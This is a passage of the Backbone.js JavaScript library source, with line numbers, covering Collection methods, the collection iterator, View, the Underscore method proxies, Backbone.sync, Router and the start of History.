859 if (at < 0) at += this.length + 1;
860
861 var set = [];
862 var toAdd = [];
863 var toMerge = [];
864 var toRemove = [];
865 var modelMap = {};
866
867 var add = options.add;
868 var merge = options.merge;
869 var remove = options.remove;
870
871 var sort = false;
872 var sortable = this.comparator && at == null && options.sort !== false;
873 var sortAttr = _.isString(this.comparator) ? this.comparator : null;
874
875 // Turn bare objects into model references, and prevent invalid models
876 // from being added.
877 var model, i;
878 for (i = 0; i < models.length; i++) {
879 model = models[i];
880
881 // If a duplicate is found, prevent it from being added and
882 // optionally merge it into the existing model.
883 var existing = this.get(model);
884 if (existing) {
885 if (merge && model !== existing) {
886 var attrs = this._isModel(model) ? model.attributes : model;
887 if (options.parse) attrs = existing.parse(attrs, options);
888 existing.set(attrs, options);
889 toMerge.push(existing);
890 if (sortable && !sort) sort = existing.hasChanged(sortAttr);
891 }
892 if (!modelMap[existing.cid]) {
893 modelMap[existing.cid] = true;
894 set.push(existing);
895 }
896 models[i] = existing;
897
898 // If this is a new, valid model, push it to the `toAdd` list.
899 } else if (add) {
900 model = models[i] = this._prepareModel(model, options);
901 if (model) {
902 toAdd.push(model);
903 this._addReference(model, options);
904 modelMap[model.cid] = true;
905 set.push(model);
906 }
907 }
908 }
909
910 // Remove stale models.
911 if (remove) {
912 for (i = 0; i < this.length; i++) {
913 model = this.models[i];
914 if (!modelMap[model.cid]) toRemove.push(model);
915 }
916 if (toRemove.length) this._removeModels(toRemove, options);
917 }
918
919 // See if sorting is needed, update `length` and splice in new models.
920 var orderChanged = false;
921 var replace = !sortable && add && remove;
922 if (set.length && replace) {
923 orderChanged = this.length !== set.length || _.some(this.models, function(m, index) {
924 return m !== set[index];
925 });
926 this.models.length = 0;
927 splice(this.models, set, 0);
928 this.length = this.models.length;
929 } else if (toAdd.length) {
930 if (sortable) sort = true;
931 splice(this.models, toAdd, at == null ? this.length : at);
932 this.length = this.models.length;
933 }
934
935 // Silently sort the collection if appropriate.
936 if (sort) this.sort({silent: true});
937
938 // Unless silenced, it's time to fire all appropriate add/sort/update events.
939 if (!options.silent) {
940 for (i = 0; i < toAdd.length; i++) {
941 if (at != null) options.index = at + i;
942 model = toAdd[i];
943 model.trigger('add', model, this, options);
944 }
945 if (sort || orderChanged) this.trigger('sort', this, options);
946 if (toAdd.length || toRemove.length || toMerge.length) {
947 options.changes = {
948 added: toAdd,
949 removed: toRemove,
950 merged: toMerge
951 };
952 this.trigger('update', this, options);
953 }
954 }
955
956 // Return the added (or merged) model (or models).
957 return singular ? models[0] : models;
958 },
959
960 // When you have more items than you want to add or remove individually,
961 // you can reset the entire set with a new list of models, without firing
962 // any granular `add` or `remove` events. Fires `reset` when finished.
963 // Useful for bulk operations and optimizations.
964 reset: function(models, options) {
965 options = options ? _.clone(options) : {};
966 for (var i = 0; i < this.models.length; i++) {
967 this._removeReference(this.models[i], options);
968 }
969 options.previousModels = this.models;
970 this._reset();
971 models = this.add(models, _.extend({silent: true}, options));
972 if (!options.silent) this.trigger('reset', this, options);
973 return models;
974 },
975
976 // Add a model to the end of the collection.
977 push: function(model, options) {
978 return this.add(model, _.extend({at: this.length}, options));
979 },
980
981 // Remove a model from the end of the collection.
982 pop: function(options) {
983 var model = this.at(this.length - 1);
984 return this.remove(model, options);
985 },
986
987 // Add a model to the beginning of the collection.
988 unshift: function(model, options) {
989 return this.add(model, _.extend({at: 0}, options));
990 },
991
992 // Remove a model from the beginning of the collection.
993 shift: function(options) {
994 var model = this.at(0);
995 return this.remove(model, options);
996 },
997
998 // Slice out a sub-array of models from the collection.
999 slice: function() {
1000 return slice.apply(this.models, arguments);
1001 },
1002
1003 // Get a model from the set by id, cid, model object with id or cid
1004 // properties, or an attributes object that is transformed through modelId.
1005 get: function(obj) {
1006 if (obj == null) return void 0;
1007 return this._byId[obj] ||
1008 this._byId[this.modelId(this._isModel(obj) ? obj.attributes : obj, obj.idAttribute)] ||
1009 obj.cid && this._byId[obj.cid];
1010 },
1011
1012 // Returns `true` if the model is in the collection.
1013 has: function(obj) {
1014 return this.get(obj) != null;
1015 },
1016
1017 // Get the model at the given index.
1018 at: function(index) {
1019 if (index < 0) index += this.length;
1020 return this.models[index];
1021 },
1022
1023 // Return models with matching attributes. Useful for simple cases of
1024 // `filter`.
1025 where: function(attrs, first) {
1026 return this[first ? 'find' : 'filter'](attrs);
1027 },
1028
1029 // Return the first model with matching attributes. Useful for simple cases
1030 // of `find`.
1031 findWhere: function(attrs) {
1032 return this.where(attrs, true);
1033 },
1034
1035 // Force the collection to re-sort itself. You don't need to call this under
1036 // normal circumstances, as the set will maintain sort order as each item
1037 // is added.
1038 sort: function(options) {
1039 var comparator = this.comparator;
1040 if (!comparator) throw new Error('Cannot sort a set without a comparator');
1041 options || (options = {});
1042
1043 var length = comparator.length;
1044 if (_.isFunction(comparator)) comparator = comparator.bind(this);
1045
1046 // Run sort based on type of `comparator`.
1047 if (length === 1 || _.isString(comparator)) {
1048 this.models = this.sortBy(comparator);
1049 } else {
1050 this.models.sort(comparator);
1051 }
1052 if (!options.silent) this.trigger('sort', this, options);
1053 return this;
1054 },
1055
1056 // Pluck an attribute from each model in the collection.
1057 pluck: function(attr) {
1058 return this.map(attr + '');
1059 },
1060
1061 // Fetch the default set of models for this collection, resetting the
1062 // collection when they arrive. If `reset: true` is passed, the response
1063 // data will be passed through the `reset` method instead of `set`.
1064 fetch: function(options) {
1065 options = _.extend({parse: true}, options);
1066 var success = options.success;
1067 var collection = this;
1068 options.success = function(resp) {
1069 var method = options.reset ? 'reset' : 'set';
1070 collection[method](resp, options);
1071 if (success) success.call(options.context, collection, resp, options);
1072 collection.trigger('sync', collection, resp, options);
1073 };
1074 wrapError(this, options);
1075 return this.sync('read', this, options);
1076 },
1077
1078 // Create a new instance of a model in this collection. Add the model to the
1079 // collection immediately, unless `wait: true` is passed, in which case we
1080 // wait for the server to agree.
1081 create: function(model, options) {
1082 options = options ? _.clone(options) : {};
1083 var wait = options.wait;
1084 model = this._prepareModel(model, options);
1085 if (!model) return false;
1086 if (!wait) this.add(model, options);
1087 var collection = this;
1088 var success = options.success;
1089 options.success = function(m, resp, callbackOpts) {
1090 if (wait) {
1091 m.off('error', collection._forwardPristineError, collection);
1092 collection.add(m, callbackOpts);
1093 }
1094 if (success) success.call(callbackOpts.context, m, resp, callbackOpts);
1095 };
1096 // In case of wait:true, our collection is not listening to any
1097 // of the model's events yet, so it will not forward the error
1098 // event. In this special case, we need to listen for it
1099 // separately and handle the event just once.
1100 // (The reason we don't need to do this for the sync event is
1101 // in the success handler above: we add the model first, which
1102 // causes the collection to listen, and then invoke the callback
1103 // that triggers the event.)
1104 if (wait) {
1105 model.once('error', this._forwardPristineError, this);
1106 }
1107 model.save(null, options);
1108 return model;
1109 },
1110
1111 // **parse** converts a response into a list of models to be added to the
1112 // collection. The default implementation is just to pass it through.
1113 parse: function(resp, options) {
1114 return resp;
1115 },
1116
1117 // Create a new collection with an identical list of models as this one.
1118 clone: function() {
1119 return new this.constructor(this.models, {
1120 model: this.model,
1121 comparator: this.comparator
1122 });
1123 },
1124
1125 // Define how to uniquely identify models in the collection.
1126 modelId: function(attrs, idAttribute) {
1127 return attrs[idAttribute || this.model.prototype.idAttribute || 'id'];
1128 },
1129
1130 // Get an iterator of all models in this collection.
1131 values: function() {
1132 return new CollectionIterator(this, ITERATOR_VALUES);
1133 },
1134
1135 // Get an iterator of all model IDs in this collection.
1136 keys: function() {
1137 return new CollectionIterator(this, ITERATOR_KEYS);
1138 },
1139
1140 // Get an iterator of all [ID, model] tuples in this collection.
1141 entries: function() {
1142 return new CollectionIterator(this, ITERATOR_KEYSVALUES);
1143 },
1144
1145 // Private method to reset all internal state. Called when the collection
1146 // is first initialized or reset.
1147 _reset: function() {
1148 this.length = 0;
1149 this.models = [];
1150 this._byId = {};
1151 },
1152
1153 // Prepare a hash of attributes (or other model) to be added to this
1154 // collection.
1155 _prepareModel: function(attrs, options) {
1156 if (this._isModel(attrs)) {
1157 if (!attrs.collection) attrs.collection = this;
1158 return attrs;
1159 }
1160 options = options ? _.clone(options) : {};
1161 options.collection = this;
1162
1163 var model;
1164 if (this.model.prototype) {
1165 model = new this.model(attrs, options);
1166 } else {
1167 // ES class methods didn't have prototype
1168 model = this.model(attrs, options);
1169 }
1170
1171 if (!model.validationError) return model;
1172 this.trigger('invalid', this, model.validationError, options);
1173 return false;
1174 },
1175
1176 // Internal method called by both remove and set.
1177 _removeModels: function(models, options) {
1178 var removed = [];
1179 for (var i = 0; i < models.length; i++) {
1180 var model = this.get(models[i]);
1181 if (!model) continue;
1182
1183 var index = this.indexOf(model);
1184 this.models.splice(index, 1);
1185 this.length--;
1186
1187 // Remove references before triggering 'remove' event to prevent an
1188 // infinite loop. #3693
1189 delete this._byId[model.cid];
1190 var id = this.modelId(model.attributes, model.idAttribute);
1191 if (id != null) delete this._byId[id];
1192
1193 if (!options.silent) {
1194 options.index = index;
1195 model.trigger('remove', model, this, options);
1196 }
1197
1198 removed.push(model);
1199 this._removeReference(model, options);
1200 }
1201 if (models.length > 0 && !options.silent) delete options.index;
1202 return removed;
1203 },
1204
1205 // Method for checking whether an object should be considered a model for
1206 // the purposes of adding to the collection.
1207 _isModel: function(model) {
1208 return model instanceof Model;
1209 },
1210
1211 // Internal method to create a model's ties to a collection.
1212 _addReference: function(model, options) {
1213 this._byId[model.cid] = model;
1214 var id = this.modelId(model.attributes, model.idAttribute);
1215 if (id != null) this._byId[id] = model;
1216 model.on('all', this._onModelEvent, this);
1217 },
1218
1219 // Internal method to sever a model's ties to a collection.
1220 _removeReference: function(model, options) {
1221 delete this._byId[model.cid];
1222 var id = this.modelId(model.attributes, model.idAttribute);
1223 if (id != null) delete this._byId[id];
1224 if (this === model.collection) delete model.collection;
1225 model.off('all', this._onModelEvent, this);
1226 },
1227
1228 // Internal method called every time a model in the set fires an event.
1229 // Sets need to update their indexes when models change ids. All other
1230 // events simply proxy through. "add" and "remove" events that originate
1231 // in other collections are ignored.
1232 _onModelEvent: function(event, model, collection, options) {
1233 if (model) {
1234 if ((event === 'add' || event === 'remove') && collection !== this) return;
1235 if (event === 'destroy') this.remove(model, options);
1236 if (event === 'changeId') {
1237 var prevId = this.modelId(model.previousAttributes(), model.idAttribute);
1238 var id = this.modelId(model.attributes, model.idAttribute);
1239 if (prevId != null) delete this._byId[prevId];
1240 if (id != null) this._byId[id] = model;
1241 }
1242 }
1243 this.trigger.apply(this, arguments);
1244 },
1245
1246 // Internal callback method used in `create`. It serves as a
1247 // stand-in for the `_onModelEvent` method, which is not yet bound
1248 // during the `wait` period of the `create` call. We still want to
1249 // forward any `'error'` event at the end of the `wait` period,
1250 // hence a customized callback.
1251 _forwardPristineError: function(model, collection, options) {
1252 // Prevent double forward if the model was already in the
1253 // collection before the call to `create`.
1254 if (this.has(model)) return;
1255 this._onModelEvent('error', model, collection, options);
1256 }
1257 });
1258
1259 // Defining an @@iterator method implements JavaScript's Iterable protocol.
1260 // In modern ES2015 browsers, this value is found at Symbol.iterator.
1261 /* global Symbol */
1262 var $$iterator = typeof Symbol === 'function' && Symbol.iterator;
1263 if ($$iterator) {
1264 Collection.prototype[$$iterator] = Collection.prototype.values;
1265 }
1266
1267 // CollectionIterator
1268 // ------------------
1269
1270 // A CollectionIterator implements JavaScript's Iterator protocol, allowing the
1271 // use of `for of` loops in modern browsers and interoperation between
1272 // Backbone.Collection and other JavaScript functions and third-party libraries
1273 // which can operate on Iterables.
1274 var CollectionIterator = function(collection, kind) {
1275 this._collection = collection;
1276 this._kind = kind;
1277 this._index = 0;
1278 };
1279
1280 // This "enum" defines the three possible kinds of values which can be emitted
1281 // by a CollectionIterator that correspond to the values(), keys() and entries()
1282 // methods on Collection, respectively.
1283 var ITERATOR_VALUES = 1;
1284 var ITERATOR_KEYS = 2;
1285 var ITERATOR_KEYSVALUES = 3;
1286
1287 // All Iterators should themselves be Iterable.
1288 if ($$iterator) {
1289 CollectionIterator.prototype[$$iterator] = function() {
1290 return this;
1291 };
1292 }
1293
1294 CollectionIterator.prototype.next = function() {
1295 if (this._collection) {
1296
1297 // Only continue iterating if the iterated collection is long enough.
1298 if (this._index < this._collection.length) {
1299 var model = this._collection.at(this._index);
1300 this._index++;
1301
1302 // Construct a value depending on what kind of values should be iterated.
1303 var value;
1304 if (this._kind === ITERATOR_VALUES) {
1305 value = model;
1306 } else {
1307 var id = this._collection.modelId(model.attributes, model.idAttribute);
1308 if (this._kind === ITERATOR_KEYS) {
1309 value = id;
1310 } else { // ITERATOR_KEYSVALUES
1311 value = [id, model];
1312 }
1313 }
1314 return {value: value, done: false};
1315 }
1316
1317 // Once exhausted, remove the reference to the collection so future
1318 // calls to the next method always return done.
1319 this._collection = void 0;
1320 }
1321
1322 return {value: void 0, done: true};
1323 };
1324
1325 // Backbone.View
1326 // -------------
1327
1328 // Backbone Views are almost more convention than they are actual code. A View
1329 // is simply a JavaScript object that represents a logical chunk of UI in the
1330 // DOM. This might be a single item, an entire list, a sidebar or panel, or
1331 // even the surrounding frame which wraps your whole app. Defining a chunk of
1332 // UI as a **View** allows you to define your DOM events declaratively, without
1333 // having to worry about render order ... and makes it easy for the view to
1334 // react to specific changes in the state of your models.
1335
1336 // Creating a Backbone.View creates its initial element outside of the DOM,
1337 // if an existing element is not provided...
1338 var View = Backbone.View = function(options) {
1339 this.cid = _.uniqueId('view');
1340 this.preinitialize.apply(this, arguments);
1341 _.extend(this, _.pick(options, viewOptions));
1342 this._ensureElement();
1343 this.initialize.apply(this, arguments);
1344 };
1345
1346 // Cached regex to split keys for `delegate`.
1347 var delegateEventSplitter = /^(\S+)\s*(.*)$/;
1348
1349 // List of view options to be set as properties.
1350 var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events'];
1351
1352 // Set up all inheritable **Backbone.View** properties and methods.
1353 _.extend(View.prototype, Events, {
1354
1355 // The default `tagName` of a View's element is `"div"`.
1356 tagName: 'div',
1357
1358 // jQuery delegate for element lookup, scoped to DOM elements within the
1359 // current view. This should be preferred to global lookups where possible.
1360 $: function(selector) {
1361 return this.$el.find(selector);
1362 },
1363
1364 // preinitialize is an empty function by default. You can override it with a function
1365 // or object. preinitialize will run before any instantiation logic is run in the View
1366 preinitialize: function(){},
1367
1368 // Initialize is an empty function by default. Override it with your own
1369 // initialization logic.
1370 initialize: function(){},
1371
1372 // **render** is the core function that your view should override, in order
1373 // to populate its element (`this.el`), with the appropriate HTML. The
1374 // convention is for **render** to always return `this`.
1375 render: function() {
1376 return this;
1377 },
1378
1379 // Remove this view by taking the element out of the DOM, and removing any
1380 // applicable Backbone.Events listeners.
1381 remove: function() {
1382 this._removeElement();
1383 this.stopListening();
1384 return this;
1385 },
1386
1387 // Remove this view's element from the document and all event listeners
1388 // attached to it. Exposed for subclasses using an alternative DOM
1389 // manipulation API.
1390 _removeElement: function() {
1391 this.$el.remove();
1392 },
1393
1394 // Change the view's element (`this.el` property) and re-delegate the
1395 // view's events on the new element.
1396 setElement: function(element) {
1397 this.undelegateEvents();
1398 this._setElement(element);
1399 this.delegateEvents();
1400 return this;
1401 },
1402
1403 // Creates the `this.el` and `this.$el` references for this view using the
1404 // given `el`. `el` can be a CSS selector or an HTML string, a jQuery
1405 // context or an element. Subclasses can override this to utilize an
1406 // alternative DOM manipulation API and are only required to set the
1407 // `this.el` property.
1408 _setElement: function(el) {
1409 this.$el = el instanceof Backbone.$ ? el : Backbone.$(el);
1410 this.el = this.$el[0];
1411 },
1412
1413 // Set callbacks, where `this.events` is a hash of
1414 //
1415 // *{"event selector": "callback"}*
1416 //
1417 // {
1418 // 'mousedown .title': 'edit',
1419 // 'click .button': 'save',
1420 // 'click .open': function(e) { ... }
1421 // }
1422 //
1423 // pairs. Callbacks will be bound to the view, with `this` set properly.
1424 // Uses event delegation for efficiency.
1425 // Omitting the selector binds the event to `this.el`.
1426 delegateEvents: function(events) {
1427 events || (events = _.result(this, 'events'));
1428 if (!events) return this;
1429 this.undelegateEvents();
1430 for (var key in events) {
1431 var method = events[key];
1432 if (!_.isFunction(method)) method = this[method];
1433 if (!method) continue;
1434 var match = key.match(delegateEventSplitter);
1435 this.delegate(match[1], match[2], method.bind(this));
1436 }
1437 return this;
1438 },
1439
1440 // Add a single event listener to the view's element (or a child element
1441 // using `selector`). This only works for delegate-able events: not `focus`,
1442 // `blur`, and not `change`, `submit`, and `reset` in Internet Explorer.
1443 delegate: function(eventName, selector, listener) {
1444 this.$el.on(eventName + '.delegateEvents' + this.cid, selector, listener);
1445 return this;
1446 },
1447
1448 // Clears all callbacks previously bound to the view by `delegateEvents`.
1449 // You usually don't need to use this, but may wish to if you have multiple
1450 // Backbone views attached to the same DOM element.
1451 undelegateEvents: function() {
1452 if (this.$el) this.$el.off('.delegateEvents' + this.cid);
1453 return this;
1454 },
1455
1456 // A finer-grained `undelegateEvents` for removing a single delegated event.
1457 // `selector` and `listener` are both optional.
1458 undelegate: function(eventName, selector, listener) {
1459 this.$el.off(eventName + '.delegateEvents' + this.cid, selector, listener);
1460 return this;
1461 },
1462
1463 // Produces a DOM element to be assigned to your view. Exposed for
1464 // subclasses using an alternative DOM manipulation API.
1465 _createElement: function(tagName) {
1466 return document.createElement(tagName);
1467 },
1468
1469 // Ensure that the View has a DOM element to render into.
1470 // If `this.el` is a string, pass it through `$()`, take the first
1471 // matching element, and re-assign it to `el`. Otherwise, create
1472 // an element from the `id`, `className` and `tagName` properties.
1473 _ensureElement: function() {
1474 if (!this.el) {
1475 var attrs = _.extend({}, _.result(this, 'attributes'));
1476 if (this.id) attrs.id = _.result(this, 'id');
1477 if (this.className) attrs['class'] = _.result(this, 'className');
1478 this.setElement(this._createElement(_.result(this, 'tagName')));
1479 this._setAttributes(attrs);
1480 } else {
1481 this.setElement(_.result(this, 'el'));
1482 }
1483 },
1484
1485 // Set attributes from a hash on this view's element. Exposed for
1486 // subclasses using an alternative DOM manipulation API.
1487 _setAttributes: function(attributes) {
1488 this.$el.attr(attributes);
1489 }
1490
1491 });
1492
1493 // Proxy Backbone class methods to Underscore functions, wrapping the model's
1494 // `attributes` object or collection's `models` array behind the scenes.
1495 //
1496 // collection.filter(function(model) { return model.get('age') > 10 });
1497 // collection.each(this.addView);
1498 //
1499 // `Function#apply` can be slow so we use the method's arg count, if we know it.
1500 var addMethod = function(base, length, method, attribute) {
1501 switch (length) {
1502 case 1: return function() {
1503 return base[method](this[attribute]);
1504 };
1505 case 2: return function(value) {
1506 return base[method](this[attribute], value);
1507 };
1508 case 3: return function(iteratee, context) {
1509 return base[method](this[attribute], cb(iteratee, this), context);
1510 };
1511 case 4: return function(iteratee, defaultVal, context) {
1512 return base[method](this[attribute], cb(iteratee, this), defaultVal, context);
1513 };
1514 default: return function() {
1515 var args = slice.call(arguments);
1516 args.unshift(this[attribute]);
1517 return base[method].apply(base, args);
1518 };
1519 }
1520 };
1521
1522 var addUnderscoreMethods = function(Class, base, methods, attribute) {
1523 _.each(methods, function(length, method) {
1524 if (base[method]) Class.prototype[method] = addMethod(base, length, method, attribute);
1525 });
1526 };
1527
1528 // Support `collection.sortBy('attr')` and `collection.findWhere({id: 1})`.
1529 var cb = function(iteratee, instance) {
1530 if (_.isFunction(iteratee)) return iteratee;
1531 if (_.isObject(iteratee) && !instance._isModel(iteratee)) return modelMatcher(iteratee);
1532 if (_.isString(iteratee)) return function(model) { return model.get(iteratee); };
1533 return iteratee;
1534 };
1535 var modelMatcher = function(attrs) {
1536 var matcher = _.matches(attrs);
1537 return function(model) {
1538 return matcher(model.attributes);
1539 };
1540 };
1541
1542 // Underscore methods that we want to implement on the Collection.
1543 // 90% of the core usefulness of Backbone Collections is actually implemented
1544 // right here:
1545 var collectionMethods = {forEach: 3, each: 3, map: 3, collect: 3, reduce: 0,
1546 foldl: 0, inject: 0, reduceRight: 0, foldr: 0, find: 3, detect: 3, filter: 3,
1547 select: 3, reject: 3, every: 3, all: 3, some: 3, any: 3, include: 3, includes: 3,
1548 contains: 3, invoke: 0, max: 3, min: 3, toArray: 1, size: 1, first: 3,
1549 head: 3, take: 3, initial: 3, rest: 3, tail: 3, drop: 3, last: 3,
1550 without: 0, difference: 0, indexOf: 3, shuffle: 1, lastIndexOf: 3,
1551 isEmpty: 1, chain: 1, sample: 3, partition: 3, groupBy: 3, countBy: 3,
1552 sortBy: 3, indexBy: 3, findIndex: 3, findLastIndex: 3};
1553
1554
1555 // Underscore methods that we want to implement on the Model, mapped to the
1556 // number of arguments they take.
1557 var modelMethods = {keys: 1, values: 1, pairs: 1, invert: 1, pick: 0,
1558 omit: 0, chain: 1, isEmpty: 1};
1559
1560 // Mix in each Underscore method as a proxy to `Collection#models`.
1561
1562 _.each([
1563 [Collection, collectionMethods, 'models'],
1564 [Model, modelMethods, 'attributes']
1565 ], function(config) {
1566 var Base = config[0],
1567 methods = config[1],
1568 attribute = config[2];
1569
1570 Base.mixin = function(obj) {
1571 var mappings = _.reduce(_.functions(obj), function(memo, name) {
1572 memo[name] = 0;
1573 return memo;
1574 }, {});
1575 addUnderscoreMethods(Base, obj, mappings, attribute);
1576 };
1577
1578 addUnderscoreMethods(Base, _, methods, attribute);
1579 });
1580
1581 // Backbone.sync
1582 // -------------
1583
1584 // Override this function to change the manner in which Backbone persists
1585 // models to the server. You will be passed the type of request, and the
1586 // model in question. By default, makes a RESTful Ajax request
1587 // to the model's `url()`. Some possible customizations could be:
1588 //
1589 // * Use `setTimeout` to batch rapid-fire updates into a single request.
1590 // * Send up the models as XML instead of JSON.
1591 // * Persist models via WebSockets instead of Ajax.
1592 //
1593 // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests
1594 // as `POST`, with a `_method` parameter containing the true HTTP method,
1595 // as well as all requests with the body as `application/x-www-form-urlencoded`
1596 // instead of `application/json` with the model in a param named `model`.
1597 // Useful when interfacing with server-side languages like **PHP** that make
1598 // it difficult to read the body of `PUT` requests.
1599 Backbone.sync = function(method, model, options) {
1600 var type = methodMap[method];
1601
1602 // Default options, unless specified.
1603 _.defaults(options || (options = {}), {
1604 emulateHTTP: Backbone.emulateHTTP,
1605 emulateJSON: Backbone.emulateJSON
1606 });
1607
1608 // Default JSON-request options.
1609 var params = {type: type, dataType: 'json'};
1610
1611 // Ensure that we have a URL.
1612 if (!options.url) {
1613 params.url = _.result(model, 'url') || urlError();
1614 }
1615
1616 // Ensure that we have the appropriate request data.
1617 if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) {
1618 params.contentType = 'application/json';
1619 params.data = JSON.stringify(options.attrs || model.toJSON(options));
1620 }
1621
1622 // For older servers, emulate JSON by encoding the request into an HTML-form.
1623 if (options.emulateJSON) {
1624 params.contentType = 'application/x-www-form-urlencoded';
1625 params.data = params.data ? {model: params.data} : {};
1626 }
1627
1628 // For older servers, emulate HTTP by mimicking the HTTP method with `_method`
1629 // And an `X-HTTP-Method-Override` header.
1630 if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) {
1631 params.type = 'POST';
1632 if (options.emulateJSON) params.data._method = type;
1633 var beforeSend = options.beforeSend;
1634 options.beforeSend = function(xhr) {
1635 xhr.setRequestHeader('X-HTTP-Method-Override', type);
1636 if (beforeSend) return beforeSend.apply(this, arguments);
1637 };
1638 }
1639
1640 // Don't process data on a non-GET request.
1641 if (params.type !== 'GET' && !options.emulateJSON) {
1642 params.processData = false;
1643 }
1644
1645 // Pass along `textStatus` and `errorThrown` from jQuery.
1646 var error = options.error;
1647 options.error = function(xhr, textStatus, errorThrown) {
1648 options.textStatus = textStatus;
1649 options.errorThrown = errorThrown;
1650 if (error) error.call(options.context, xhr, textStatus, errorThrown);
1651 };
1652
1653 // Make the request, allowing the user to override any Ajax options.
1654 var xhr = options.xhr = Backbone.ajax(_.extend(params, options));
1655 model.trigger('request', model, xhr, options);
1656 return xhr;
1657 };
1658
1659 // Map from CRUD to HTTP for our default `Backbone.sync` implementation.
1660 var methodMap = {
1661 'create': 'POST',
1662 'update': 'PUT',
1663 'patch': 'PATCH',
1664 'delete': 'DELETE',
1665 'read': 'GET'
1666 };
1667
1668 // Set the default implementation of `Backbone.ajax` to proxy through to `$`.
1669 // Override this if you'd like to use a different library.
1670 Backbone.ajax = function() {
1671 return Backbone.$.ajax.apply(Backbone.$, arguments);
1672 };
1673
1674 // Backbone.Router
1675 // ---------------
1676
1677 // Routers map faux-URLs to actions, and fire events when routes are
1678 // matched. Creating a new one sets its `routes` hash, if not set statically.
1679 var Router = Backbone.Router = function(options) {
1680 options || (options = {});
1681 this.preinitialize.apply(this, arguments);
1682 if (options.routes) this.routes = options.routes;
1683 this._bindRoutes();
1684 this.initialize.apply(this, arguments);
1685 };
1686
1687 // Cached regular expressions for matching named param parts and splatted
1688 // parts of route strings.
1689 var optionalParam = /\((.*?)\)/g;
1690 var namedParam = /(\(\?)?:\w+/g;
1691 var splatParam = /\*\w+/g;
1692 var escapeRegExp = /[\-{}\[\]+?.,\\\^$|#\s]/g;
1693
1694 // Set up all inheritable **Backbone.Router** properties and methods.
1695 _.extend(Router.prototype, Events, {
1696
1697 // preinitialize is an empty function by default. You can override it with a function
1698 // or object. preinitialize will run before any instantiation logic is run in the Router.
1699 preinitialize: function(){},
1700
1701 // Initialize is an empty function by default. Override it with your own
1702 // initialization logic.
1703 initialize: function(){},
1704
1705 // Manually bind a single named route to a callback. For example:
1706 //
1707 // this.route('search/:query/p:num', 'search', function(query, num) {
1708 // ...
1709 // });
1710 //
1711 route: function(route, name, callback) {
1712 if (!_.isRegExp(route)) route = this._routeToRegExp(route);
1713 if (_.isFunction(name)) {
1714 callback = name;
1715 name = '';
1716 }
1717 if (!callback) callback = this[name];
1718 var router = this;
1719 Backbone.history.route(route, function(fragment) {
1720 var args = router._extractParameters(route, fragment);
1721 if (router.execute(callback, args, name) !== false) {
1722 router.trigger.apply(router, ['route:' + name].concat(args));
1723 router.trigger('route', name, args);
1724 Backbone.history.trigger('route', router, name, args);
1725 }
1726 });
1727 return this;
1728 },
1729
1730 // Execute a route handler with the provided parameters. This is an
1731 // excellent place to do pre-route setup or post-route cleanup.
1732 execute: function(callback, args, name) {
1733 if (callback) callback.apply(this, args);
1734 },
1735
1736 // Simple proxy to `Backbone.history` to save a fragment into the history.
1737 navigate: function(fragment, options) {
1738 Backbone.history.navigate(fragment, options);
1739 return this;
1740 },
1741
1742 // Bind all defined routes to `Backbone.history`. We have to reverse the
1743 // order of the routes here to support behavior where the most general
1744 // routes can be defined at the bottom of the route map.
1745 _bindRoutes: function() {
1746 if (!this.routes) return;
1747 this.routes = _.result(this, 'routes');
1748 var route, routes = _.keys(this.routes);
1749 while ((route = routes.pop()) != null) {
1750 this.route(route, this.routes[route]);
1751 }
1752 },
1753
1754 // Convert a route string into a regular expression, suitable for matching
1755 // against the current location hash.
1756 _routeToRegExp: function(route) {
1757 route = route.replace(escapeRegExp, '\\$&')
1758 .replace(optionalParam, '(?:$1)?')
1759 .replace(namedParam, function(match, optional) {
1760 return optional ? match : '([^/?]+)';
1761 })
1762 .replace(splatParam, '([^?]*?)');
1763 return new RegExp('^' + route + '(?:\\?([\\s\\S]*))?$');
1764 },
1765
1766 // Given a route, and a URL fragment that it matches, return the array of
1767 // extracted decoded parameters. Empty or unmatched parameters will be
1768 // treated as `null` to normalize cross-browser behavior.
1769 _extractParameters: function(route, fragment) {
1770 var params = route.exec(fragment).slice(1);
1771 return _.map(params, function(param, i) {
1772 // Don't decode the search params.
1773 if (i === params.length - 1) return param || null;
1774 return param ? decodeURIComponent(param) : null;
1775 });
1776 }
1777
1778 });
1779
1780 // Backbone.History
1781 // ----------------
1782
1783 // Handles cross-browser history management, based on either
1784 // [pushState](http://diveintohtml5.info/history.html) and real URLs, or
1785 // [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange)
1786 // and URL fragments. If the browser supports neither (old IE, natch),
1787 // falls back to polling.
1788 var History = Backbone.History = function() {
1789 this.handlers = [];
1790 this.checkUrl = this.checkUrl.bind(this);
1791
1792 // Ensure that `History` can be used outside of the browser.
1793 if (typeof window !== 'undefined') {
1794 this.location = window.location;
1795 this.history = window.history;
1796 }
1797 };
1798
1799 // Cached regex for stripping a leading hash/slash and trailing space.
1800 var routeStripper = /^[#\/]|\s+$/g;
1801
1802 // Cached regex for stripping leading and trailing slashes.
1803 var rootStripper = /^\/+|\/+$/g;
1804
1805 // Cached regex for stripping urls of hash.
1806 var pathStripper = /#.*$/;
1807
1808 // Has the history handling already been started?
1809 History.started = false;
1810
1811 // Set up all inheritable **Backbone.History** properties and methods.
1812 _.extend(History.prototype, Events, {
1813
1814 // The default interval to poll for hash changes, if necessary, is
1815 // twenty times a second.
1816 interval: 50,
1817
1818 // Are we at the app root?
1819 atRoot: function() {
1820 var path = this.location.pathname.replace(/[^\/]$/, '$&/');
1821 return path === this.root && !this.getSearch();
1822 },
1823
1824 // Does the pathname match the root?
1825 matchRoot: function() {
1826 var path = this.decodeFragment(this.location.pathname);
1827 var rootPath = path.slice(0, this.root.length - 1) + '/';
1828 return rootPath === this.root;
1829 },
1830
1831 // Unicode characters in `location.pathname` are percent encoded so they're
1832 // decoded for comparison. `%25` should not be decoded since it may be part
1833 // of an encoded parameter.
1834 decodeFragment: function(fragment) {
1835 return decodeURI(fragment.replace(/%25/g, '%2525'));
1836 },
1837
1838 // In IE6, the hash fragment and search params are incorrect if the
1839 // fragment contains `?`.
1840 getSearch: function() {
1841 var match = this.location.href.replace(/#.*/, '').match(/\?.+/);
1842 return match ? match[0] : '';
1843 },
1844
1845 // Gets the true hash value. Cannot use location.hash directly due to bug
1846 // in Firefox where location.hash will always be decoded.
1847 getHash: function(window) {
